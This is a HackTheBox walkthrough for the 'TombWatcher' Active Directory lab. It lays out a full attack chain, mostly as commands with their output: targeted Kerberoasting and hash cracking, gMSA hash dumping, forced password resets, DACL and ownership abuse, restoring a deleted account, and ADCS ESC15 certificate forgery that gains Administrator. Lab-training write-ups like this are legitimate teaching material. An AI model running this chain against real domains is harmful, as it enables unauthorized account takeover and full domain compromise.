TombWatcher

📅 Last Updated: Jul 14, 2025 10:27 | 📄 Size: 23.5 KB | 🎯 Type: HackTheBox Writeup | 🔗 Back to List

Nmap

┌──(wither㉿localhost)-[~/Templates/htb-labs/TombWatcher]
└─$ nmap -sC -sV -Pn 10.10.11.72 -oN ./nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-15 03:19 AEST
Nmap scan report for 10.10.11.72
Host is up (0.32s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-07-14 11:57:30Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after:  2025-11-16T00:47:59
|_ssl-date: 2025-07-14T11:59:08+00:00; -5h21m49s from scanner time.
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-07-14T11:59:07+00:00; -5h21m49s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after:  2025-11-16T00:47:59
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after:  2025-11-16T00:47:59
|_ssl-date: 2025-07-14T11:59:08+00:00; -5h21m49s from scanner time.
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-07-14T11:59:07+00:00; -5h21m50s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after:  2025-11-16T00:47:59
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -5h21m50s, deviation: 2s, median: -5h21m49s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-07-14T11:58:23
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 114.73 seconds

We have the credit of user henry

Machine Information

As is common in real life Windows pentests, you will start the TombWatcher box with credentials for the following account: henry / H3nry_987TGV!

I would like check the smb service firstly

┌──(wither㉿localhost)-[~/Templates/htb-labs/TombWatcher]
└─$ smbmap -H 10.10.11.72 -u herny -p H3nry_987TGV!       

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 0 authenticated session(s)                                                      
[!] Access denied on 10.10.11.72, no fun for you...                                                                          
[*] Closed 1 connections 

Very sadly, there is nothing interesting for us.

Bloodhound by herny

Then I think we can bloodhound herny, and check more information here.

┌──(wither㉿localhost)-[~/Templates/htb-labs/TombWatcher]
└─$ sudo ntpdate DC01.tombwatcher.htb
2025-07-14 22:06:02.926938 (+1000) -19267.442649 +/- 0.290216 DC01.tombwatcher.htb 10.10.11.72 s1 no-leap
CLOCK: time stepped by -19267.442649
                                                                                                                                                                                
┌──(wither㉿localhost)-[~/Templates/htb-labs/TombWatcher]
└─$ bloodhound-python -u henry -p H3nry_987TGV! -k -ns 10.10.11.72 -c All -d tombwatcher.htb --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: tombwatcher.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.tombwatcher.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.tombwatcher.htb
INFO: Found 9 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.tombwatcher.htb
INFO: Done in 01M 10S
INFO: Compressing output into 20250714220615_bloodhound.zip

Henry can WriteSPN to account Alfred Let's exploit it

┌──(wither㉿localhost)-[~/Templates/htb-labs/TombWatcher]
└─$ python3 /opt/targetedKerberoast/targetedKerberoast.py -v -d tombwatcher.htb -u henry -p 'H3nry_987TGV!'
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[VERBOSE] SPN added successfully for (Alfred)
[+] Printing hash for (Alfred)
$krb5tgs$23$*Alfred$TOMBWATCHER.HTB$tombwatcher.htb/Alfred*$e778f5f074e8ccf66729718fe773fab4$55fd3cb7afc8ae3823a8bc0989cf07e3cef24c30f0c801b6361434961f1ad76d840173b25cc1d6f376ccedf59d6f61e19e77f27b316a51c3a98c44b468136ca8de7e1ff97de6179294984b052b93df3cbecc84059c0051a5b3859b86b69fef52ec227ab5f275b87ef38c3f25e38cf98ad23985a56bd7af556dd82baaa433bfaf398d82e11cef4d72fddb3888125f256b078f95abfb227aa70b9bb0d40f1f976593d8c5fcb4445036452a698ca3c260cf4c47cf3cd5915b0820dda8a384c04ba38419da987ee1fcb04db39609c37099b95005a19d9bc9525438d531e8431192dc96da2eeb00b975b89227d8117aba27101269158190d14e30d695b0c2d8449bc7cee8586ea79917df7624049d245fba8623a35e3978baa41b7990e72b76fda11e41238264589e58ba66106b0c6ef439e5adfae481e2843d9eba8b7f28368aa0c44850397331d44bd81b05fd9b805805d5ab7160a80f63fd8a5c89766c992cb5ec2df0c72bae5d618cabbe76dae72cd8c57c0d6cc0b79d55e1a5f90560210b94fc0d70d07e013712a1e03cfc8b52eddace07063f6c3fbaaf10ecca9baaf34c7c0635931254427a7172793db0954d4ec909ece9e4fbd3e802b3f75ea300bb40e4469dfdd6314b54101a604535a73dcf8e01fdefdafff8489f3e07bb4c1d1ffa27d4c7e333e4457cf8502a9421b1f0413d7cd4e70fbe868eee8364cc45d65314d14ea63d25f513e355c1beba9fed0cee70bfdc2dfea22acd23c0834e2e87f2c0d1c8d10efe836b1cc4b3f5a9796cee7acae7b2134664b5ae6227de842378fb68965ec4be4121721a7cf6af823939a7b9f8d4ced19529f5251067fce1325d147f9c2e5c33e5b4c7dbf3173500e2e8d0e60f5b1da7f925083954721ff956c0a717e7974524335512aea968afd70c6f6b438178cd6d2780986f538f9c42bd45b90f8835fa4ee847fbad176a63e22bfbc1f2be19f73daa73d872821ee6117cb7858bb91edf25d08b31472bf70205c91084f08a6c857f9603171e6e5ce4b1051e68df97d26fa5147a2044b14eea7649d1d47d652761410aedabcc765929b883a180245bd4f4454f89b0e8642fcd55cf2886af0c661f534729462e7fef1639e060bd286e710ff272d8c7f90d16fbac348c6f214733d598894e249e335c92fa5ac2a89515eadeb0ea2b82f9fd095368a703115e3ddff3eee8e4675cfe197e593227599a8b30978fd9d6fb3a7ca7b4755285a88a91f993992d0ace76f7a8c8f266e7352d222e73af0303fe5d124b02927d2285ad8f02eff89380a1bfacc9125dd293b040256cc15fcd65e8542a26a59be75f4f7d8cbb555332a6aa67e6810c68573d64a5e029f75eb7f199911d230cb4df85ce38d9269f627ead84bb0280d25acce8d3f6612f2293be77a5b52bdf1c31ecf77d3f083513ab1f1a216bc15966037713daa9b7434995d7f8b197cc8efcf34d2a6c52deccd7f464937d
[VERBOSE] SPN removed successfully for (Alfred)

Then let's use john to crack that

┌──(wither㉿localhost)-[~/Templates/htb-labs/TombWatcher]
└─$ john alfred.hash --wordlist=/usr/share/wordlists/rockyou.txt                   
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
basketball       (?)     
1g 0:00:00:00 DONE (2025-07-14 22:12) 100.0g/s 409600p/s 409600c/s 409600C/s 123456..oooooo
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Bloodhound by Alfred

Then let's continue to bloodhound alfred

bloodhound-python -u Alfred -p basketball -k -ns 10.10.11.72 -c All -d tombwatcher.htb --zip

Then we can get the password of account Ansible_dev Let's exploit that

Add himself to group

┌──(wither㉿localhost)-[~/Templates/htb-labs/TombWatcher]
└─$ bloodyAD --host '10.10.11.72' -d 'tombwatcher.htb' -u alfred -p 'basketball' add groupMember INFRASTRUCTURE alfred      
[+] alfred added to INFRASTRUCTURE                    ⏎

Then let's use gMSADumper.py to help us dump the hash

┌──(wither㉿localhost)-[~/Templates/htb-labs/TombWatcher]
└─$ python3 /opt/gMSADumper/gMSADumper.py -u 'alfred' -p 'basketball' -d 'tombwatcher.htb'                                  
Users or groups who can read password for ansible_dev$:
 > Infrastructure
ansible_dev$:::7bc5a56af89da4d3c03bc048055350f2
ansible_dev$:aes256-cts-hmac-sha1-96:29a7e3cc3aaad2b30beca182a9707f1a1e71d2eb49a557d50f9fd91360ec2f64
ansible_dev$:aes128-cts-hmac-sha1-96:de6c86d8b6a71c4538f82dc570f7f9a6

bloodhound by

Then let's continue to bloodhound this account

┌──(wither㉿localhost)-[~/Templates/htb-labs/TombWatcher]
└─$ bloodhound-python -u 'ansible_dev$'  --hashes ':7bc5a56af89da4d3c03bc048055350f2' -d tombwatcher.htb -ns 10.10.11.72 -c All --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: tombwatcher.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.tombwatcher.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.tombwatcher.htb
INFO: Found 9 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 20 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.tombwatcher.htb
INFO: Done in 01M 14S
INFO: Compressing output into 20250714234510_bloodhound.zip

Then we can get Ansible_dev can force change password of accountSam

┌──(wither㉿localhost)-[~/Templates/htb-labs/TombWatcher]
└─$ bloodyAD --host '10.10.11.72' -d 'tombwatcher.htb' -u 'ansible_dev$'  -p ':7bc5a56af89da4d3c03bc048055350f2' set password SAM 'Abc123456@' 
[+] Password changed successfully!

Bloodhound by Sam

Let's continue to bloodhound account Sam

┌──(wither㉿localhost)-[~/Templates/htb-labs/TombWatcher]
└─$ bloodhound-python -u Sam -p Abc123456@ -k -ns 10.10.11.72 -c All -d tombwatcher.htb --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: tombwatcher.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.tombwatcher.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.tombwatcher.htb
INFO: Found 9 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.tombwatcher.htb
INFO: Done in 01M 12S
INFO: Compressing output into 20250714234922_bloodhound.zip

Then we can get access to account John

//Directly change the ownership of the JOHN account to SAM itself//

owneredit.py -action write -new-owner SAM -target JOHN tombwatcher.htb/'SAM':'Abc123456@'
[*] Current owner information below
[*] - SID: S-1-5-21-1392491010-1358638721-2126982587-512
[*] - sAMAccountName: Domain Admins
[*] - distinguishedName: CN=Domain Admins,CN=Users,DC=tombwatcher,DC=htb
[*] OwnerSid modified successfully!

//Give SAM full control over JOHN//

 dacledit.py -action 'write' -rights 'FullControl' -principal 'SAM' -target 'JOHN' 'tombwatcher.htb'/'SAM':'Abc123456@'
 Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 
[*] DACL backed up to dacledit-20250715-000032.bak
[*] DACL modified successfully!

//Now SAM has absolute control over JOHN and can directly change JOHN's password//

bloodyAD --host '10.10.11.72' -d 'tombwatcher.htb'  -u 'SAM' -p 'Abc123456@' set password john 'Abc123456@'                        
[+] Password changed successfully!

Then we can use evil-winrm to connect it.

┌──(wither㉿localhost)-[~/Templates/htb-labs/TombWatcher]
└─$ evil-winrm -i 10.10.11.72 -u john -p 'Abc123456@' 
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\john\Documents> 

Bloodhound by john

bloodhound-python -u John -p Abc123456@ -k -ns 10.10.11.72 -c All -d tombwatcher.htb --zip

Seeing that the ADCS organizational unit has GenericAll, the next step is to take over its child objects

┌──(wither㉿localhost)-[~/Templates/htb-labs/TombWatcher]
└─$ impacket-dacledit -action 'write' -rights 'FullControl' -inheritance -principal 'john' -target-dn 'OU=ADCS,DC=TOMBWATCHER,DC=HTB' 'tombwatcher.htb'/'john':'Abc123456@'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] NB: objects with adminCount=1 will no inherit ACEs from their parent container/OU
[*] DACL backed up to dacledit-20250715-001007.bak
[*] DACL modified successfully!
                                 

Change Cert_admin’s Pass

*Evil-WinRM* PS C:\Users\john\Documents> Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects


Deleted           : True
DistinguishedName : CN=Deleted Objects,DC=tombwatcher,DC=htb
Name              : Deleted Objects
ObjectClass       : container
ObjectGUID        : 34509cb3-2b23-417b-8b98-13f0bd953319

Deleted           : True
DistinguishedName : CN=cert_admin\0ADEL:f80369c8-96a2-4a7f-a56c-9c15edd7d1e3,CN=Deleted Objects,DC=tombwatcher,DC=htb
Name              : cert_admin
                    DEL:f80369c8-96a2-4a7f-a56c-9c15edd7d1e3
ObjectClass       : user
ObjectGUID        : f80369c8-96a2-4a7f-a56c-9c15edd7d1e3

Deleted           : True
DistinguishedName : CN=cert_admin\0ADEL:c1f1f0fe-df9c-494c-bf05-0679e181b358,CN=Deleted Objects,DC=tombwatcher,DC=htb
Name              : cert_admin
                    DEL:c1f1f0fe-df9c-494c-bf05-0679e181b358
ObjectClass       : user
ObjectGUID        : c1f1f0fe-df9c-494c-bf05-0679e181b358

Deleted           : True
DistinguishedName : CN=cert_admin\0ADEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf,CN=Deleted Objects,DC=tombwatcher,DC=htb
Name              : cert_admin
                    DEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf
ObjectClass       : user
ObjectGUID        : 938182c3-bf0b-410a-9aaa-45c8e1a02ebf



*Evil-WinRM* PS C:\Users\john\Documents> Restore-ADObject -Identity 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
*Evil-WinRM* PS C:\Users\john\Documents> Enable-ADAccount -Identity cert_admin
*Evil-WinRM* PS C:\Users\john\Documents> Set-ADAccountPassword -Identity cert_admin -Reset -NewPassword (ConvertTo-SecureString "Abc123456@" -AsPlainText -Force)

Then let's use certipy to find the vulnerable target

certipy-ad find -u cert_admin -p "Abc123456@" -dc-ip 10.10.11.72 -vulnerable

Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 13 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'tombwatcher-CA-1' via RRP
[*] Successfully retrieved CA configuration for 'tombwatcher-CA-1'
[*] Checking web enrollment for CA 'tombwatcher-CA-1' @ 'DC01.tombwatcher.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Saving text output to '20250609023015_Certipy.txt'
[*] Wrote text output to '20250609023015_Certipy.txt'
[*] Saving JSON output to '20250609023015_Certipy.json'
[*] Wrote JSON output to '20250609023015_Certipy.json'

[root@kali] /home/kali/TombWatcher  
❯ cat 20250609023015_Certipy.txt 
Certificate Authorities
  0
    CA Name                             : tombwatcher-CA-1
    DNS Name                            : DC01.tombwatcher.htb
    Certificate Subject                 : CN=tombwatcher-CA-1, DC=tombwatcher, DC=htb
    Certificate Serial Number           : 3428A7FC52C310B2460F8440AA8327AC
    Certificate Validity Start          : 2024-11-16 00:47:48+00:00
    Certificate Validity End            : 2123-11-16 00:57:48+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : TOMBWATCHER.HTB\Administrators
      Access Rights
        ManageCa                        : TOMBWATCHER.HTB\Administrators
                                          TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        ManageCertificates              : TOMBWATCHER.HTB\Administrators
                                          TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        Enroll                          : TOMBWATCHER.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : WebServer
    Display Name                        : Web Server
    Certificate Authorities             : tombwatcher-CA-1
    Enabled                             : True
    Client Authentication               : False
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Extended Key Usage                  : Server Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 1
    Validity Period                     : 2 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2024-11-16T00:57:49+00:00
    Template Last Modified              : 2024-11-16T17:07:26+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
                                          TOMBWATCHER.HTB\cert_admin
      Object Control Permissions
        Owner                           : TOMBWATCHER.HTB\Enterprise Admins
        Full Control Principals         : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        Write Owner Principals          : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        Write Dacl Principals           : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        Write Property Enroll           : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
                                          TOMBWATCHER.HTB\cert_admin
    [+] User Enrollable Principals      : TOMBWATCHER.HTB\cert_admin
    [!] Vulnerabilities
      ESC15                             : Enrollee supplies subject and schema version is 1.
    [*] Remarks
      ESC15                             : Only applicable if the environment has not been patched. See CVE-2024-49019 or the wiki for more details.

ECS15

This links include the exploit detail https://github.com/ly4k/Certipy/wiki/06-%e2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu

Step 1: Request a certificate, injecting “Client Authentication” Application Policy and target UPN

certipy-ad req \
    -u 'cert_admin@tombwatcher.htb' -p 'Abc123456@' \
    -dc-ip '10.10.11.72' -target 'DC01.tombwatcher.htb' \
    -ca 'tombwatcher-CA-1' -template 'WebServer' \
    -upn 'administrator@tombwatcher.htb'  \
    -application-policies 'Client Authentication'

Step 2: Authenticate via Schannel (LDAPS) using the obtained certificate.

┌──(wither㉿localhost)-[~/Templates/htb-labs/TombWatcher]
└─$ certipy-ad auth -pfx 'administrator.pfx' -dc-ip '10.10.11.72' -ldap-shell
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator@tombwatcher.htb'
[*] Connecting to 'ldaps://10.10.11.72:636'
[*] Authenticated to '10.10.11.72' as: 'u:TOMBWATCHER\\Administrator'
Type help for list of commands

# change_password administrator Abc123456@
Got User DN: CN=Administrator,CN=Users,DC=tombwatcher,DC=htb
Attempting to set new password of: Abc123456@
Password changed successfully!

Then we can get the shell as Administrator by evil-winrm

┌──(wither㉿localhost)-[~/Templates/htb-labs/TombWatcher]
└─$ evil-winrm -i 10.10.11.72 -u administrator -p 'Abc123456@'
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> 

Description

The Active Directory machine is not difficult, but the process is relatively long. It is suitable for beginners of AD environment to practice.